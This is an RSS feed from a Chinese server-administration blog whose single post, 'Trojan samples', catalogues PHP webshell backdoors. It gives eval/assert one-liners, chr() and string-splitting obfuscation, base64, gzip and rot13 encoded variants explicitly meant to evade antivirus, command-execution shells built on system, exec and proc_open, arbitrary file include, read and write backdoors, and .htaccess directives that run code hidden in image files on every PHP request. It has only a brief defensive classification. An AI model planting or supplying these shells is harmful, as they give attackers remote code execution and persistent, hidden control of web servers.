<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[沧海一粟]]></title> 
<link>http://www.dzhope.com/index.php</link> 
<description><![CDATA[Web系统架构与服务器运维,php开发]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[沧海一粟]]></copyright>
<item>
<link>http://www.dzhope.com/post//</link>
<title><![CDATA[木马样本]]></title> 
<author>jed &lt;jed521@163.com&gt;</author>
<category><![CDATA[服务器技术]]></category>
<pubDate>Tue, 01 Jul 2014 08:07:48 +0000</pubDate> 
<guid>http://www.dzhope.com/post//</guid> 
<description>
<![CDATA[ 
	<div class="code"><br/>&lt;?array_map(&quot;ass&#92;x65rt&quot;,(array)$_REQUEST&#91;dede&#93;);?&gt;<br/></div><br/><br/><div class="code"><br/>&lt;?php $command=$_POST&#91;1990&#93;; @eval($command);?&gt;<br/></div><br/><br/><div class="code"><br/>&lt;?php @eval($_POST&#91;1990&#93;);?&gt;<br/></div><br/><br/><div class="code"><br/>$_1=chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);<br/>@$_1(chr(64).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(97).chr(93).chr(41).chr(59));<br/></div><br/><br/><div class="code"><br/>$hh = &quot;p&quot;.&quot;r&quot;.&quot;e&quot;.&quot;g&quot;.&quot;_&quot;.&quot;r&quot;.&quot;e&quot;.&quot;p&quot;.&quot;l&quot;.&quot;a&quot;.&quot;c&quot;.&quot;e&quot;;<br/>$hh(&quot;/&#91;discuz&#93;/e&quot;,$_POST&#91;&#039;h&#039;&#93;,&quot;Access&quot;);<br/></div><br/><br/>php后门木马常用的函数大致上可分为四种类型：<br/><br/>1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open<br/><br/>2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13<br/><br/>3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite<br/><br/>4. .htaccess: SetHandler, auto_prepend_file, auto_append_file<br/><br/> <br/><br/>1. 执行系统命令:<br/><br/> <br/><br/>system 函数<br/><br/><div class="code"><br/><br/>//test.php?cmd=ls<br/><br/>system($_GET&#91;cmd&#93;);<br/></div><br/> <br/><br/> <br/><br/>passthru 函数<br/><br/> <br/><div class="code"><br/>//test.php?cmd=ls<br/><br/>passthru($_GET&#91;cmd&#93;);<br/></div><br/> <br/><br/> <br/><br/>shell_exec 函数<br/><br/> <br/><div class="code"><br/>//test.php?cmd=ls<br/><br/>echo shell_exec($_GET&#91;cmd&#93;);<br/></div><br/> <br/><br/> <br/><br/>exec 函数<br/><br/> <br/><div class="code"><br/>//test.php?cmd=ls<br/><br/>$arr = array();<br/><br/>exec($_GET&#91;cmd&#93;,$arr);<br/><br/>print_r($arr);<br/></div><br/> <br/><br/> <br/><br/>popen 函数<br/><br/> <br/><div class="code"><br/>//test.php?cmd=ls<br/><br/>$handle = popen(&#039;$_GET&#91;cmd&#93;, &#039;r&#039;);<br/><br/>$read = fread($handle, 2096);<br/><br/>echo $read;<br/><br/>pclose($handle);<br/></div><br/> <br/><br/> <br/><br/>proc_open 函数<br/><br/> <br/><div class="code"><br/>//test.php?cmd=ls<br/><br/>$descriptorspec = array(<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0 =&gt; array(&#039;pipe&#039;, &#039;r&#039;),<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 =&gt; array(&#039;pipe&#039;, &#039;w&#039;),<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2 =&gt; array(&#039;pipe&#039;, &#039;w&#039;),<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;);<br/><br/>$proc = @proc_open($_GET&#91;cmd&#93;, $descriptorspec, $pipes);<br/><br/>fclose($pipes&#91;0&#93;);<br/><br/>$output = array();<br/><br/>while (!feof($pipes&#91;1&#93;)) array_push($output, rtrim(fgets($pipes&#91;1&#93;,1024),&quot;&#92;n&quot;));<br/><br/>print_r($output);<br/></div><br/> <br/><br/> <br/><br/>2. 代码执行与加密:<br/><br/> <br/><br/>eval 函数<br/><br/> <br/><br/>//最常见的一句话木马<br/><div class="code"><br/>eval($_POST&#91;cmd&#93;);<br/></div><br/> <br/><br/>base64_decode 函数<br/><br/> <br/><br/>//为了免杀及隐藏而加密代码<br/><br/>//密文: eval($_POST['cmd']);<br/><div class="code"><br/>eval(base64_decode(&#039;ZXZhbCgkX1BPU1RbJ2NtZCddKTs=&#039;));<br/></div><br/> <br/><br/> <br/><br/>gzinflate 函数<br/><br/> <br/><div class="code"><br/>//为了免杀及隐藏而加密代码<br/><br/>//密文: eval($_POST&#91;&#039;cmd&#039;&#93;);<br/><br/>eval(gzinflate(base64_decode(&#039;Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==&#039;)));<br/><br/> </div><br/><br/>gzuncompress 函数<br/><br/><div class="code"> <br/>//为了免杀及隐藏而加密代码<br/><br/>//密文: eval($_POST&#91;&#039;cmd&#039;&#93;);<br/><br/>eval(gzuncompress(base64_decode(&#039;eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==&#039;)));<br/></div><br/> <br/>gzdecode 函数<br/><div class="code"><br/>//为了免杀及隐藏而加密代码<br/><br/>//密文: eval($_POST&#91;&#039;cmd&#039;&#93;);<br/><br/>eval(gzdecode(base64_decode(&#039;H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==&#039;)));<br/></div><br/> <br/><br/> <br/><br/>str_rot13 函数<br/><br/> <br/><br/>//为了免杀及隐藏而加密代码<br/><br/>//密文: eval($_POST[cmd]);<br/><div class="code"><br/>eval(str_rot13(&#039;riny($_CBFG&#91;pzq&#93;);&#039;));<br/></div><br/> <br/>assert 函数<br/><div class="code"><br/>//类似eval函数<br/>assert($_POST&#91;cmd&#93;);<br/></div><br/> <br/>call_user_func 函数<br/><div class="code"><br/>//使用call_user_func调用assert<br/>call_user_func(&#039;assert&#039;,$_POST&#91;cmd&#93;);<br/></div><br/> <br/><br/>call_user_func 函数<br/><div class="code"><br/> //使用call_user_func调用任意函数<br/><br/>//test.php?a=assert&amp;cmd=phpinfo()<br/><br/>call_user_func($_GET&#91;a&#93;,$_REQUEST&#91;cmd&#93;);<br/><br/> </div><br/>组合代码<br/><div class="code"><br/>//组合方式调用任意函数<br/>//test.php?a=assert&amp;cmd=phpinfo()<br/>$_GET&#91;a&#93;($_REQUEST&#91;cmd&#93;);<br/></div><br/> <br/>3. 文件包含与生成:<br/><br/>require 函数<br/><div class="code"><br/>//包含任意文件<br/>//test.php?file=123.jpg<br/>require($_GET&#91;file&#93;);<br/></div><br/> <br/>require_once 函数<br/><div class="code"><br/>//包含任意文件<br/>//test.php?file=123.jpg<br/>require_once($_GET&#91;file&#93;);<br/></div><br/> <br/>include 函数<br/><div class="code"><br/>//包含任意文件<br/>//test.php?file=123.jpg<br/>include($_GET&#91;file&#93;);<br/></div><br/><br/>include_once 函数<br/><div class="code"><br/>//包含任意文件<br/>//test.php?file=123.jpg<br/>include_once($_GET&#91;file&#93;);<br/></div><br/> <br/>file_get_contents 函数<br/><div class="code"><br/>//读取任意文件<br/>//test.php?f=config.inc.php<br/>echo file_get_contents($_GET&#91;&#039;f&#039;&#93;);<br/></div><br/> <br/>file_put_contents 函数<br/><div class="code"><br/>//生成任意内容文件<br/>//a=test.php&amp;b=&lt;?php eval($_POST&#91;cmd&#93;);?&gt;<br/>file_put_contents($_GET&#91;a&#93;,$_GET&#91;b&#93;);<br/></div><br/><br/>fputs 函数<br/><div class="code"><br/>//生成任意内容文件<br/>//a=test.php&amp;b=&lt;?php eval($_POST&#91;cmd&#93;);?&gt;<br/>fputs(fopen($_GET&#91;a&#93;,&quot;w&quot;),$_GET&#91;b&#93;);<br/></div><br/> <br/><br/>4. .htaccess:<br/><br/>SetHandler<br/><div class="code"><br/>//可将php代码存于非php后缀文件,例: x.jpg<br/><br/>//将以下代码写入.htaccess中<br/><br/>//连接x.jpg即可启动后门木马<br/><br/>&lt;FilesMatch &quot;x.jpg&quot;&gt;<br/><br/>SetHandler application/x-httpd-php<br/><br/>&lt;/FilesMatch&gt;<br/><br/></div><br/><br/> auto_prepend_file<br/><div class="code"><br/>//可将php代码存于非php后缀文件,例: 123.gif<br/><br/>//将以下代码写入.htaccess中, 文件路径必须是绝对路径<br/><br/>//访问网站上任何php文件都会启动该php后门木马<br/><br/>//可在不更改站点源代码的情况下记录所有$_REQUEST的值，也可批量挂马<br/><br/>php_value auto_prepend_file c:/apache2/htdocs/123.gif<br/></div><br/> <br/>auto_append_file<br/><div class="code"><br/>//类似auto_prepend_file<br/><br/>//可将php代码存于非php后缀文件,例: 123.gif<br/><br/>//将以下代码写入.htaccess中, 文件路径必须是绝对路径<br/><br/>//访问网站上任何php文件都会启动该php后门木马<br/><br/>php_value auto_append_file c:/apache2/htdocs/123.gif<br/><br/></div><br/> <br/><br/> <br/><br/>
]]>
</description>
</item><item>
<link>http://www.dzhope.com/post//#blogcomment</link>
<title><![CDATA[[评论] 木马样本]]></title> 
<author> &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate> 
<guid>http://www.dzhope.com/post//#blogcomment</guid> 
<description>
<![CDATA[ 
	
]]>
</description>
</item>
</channel>
</rss>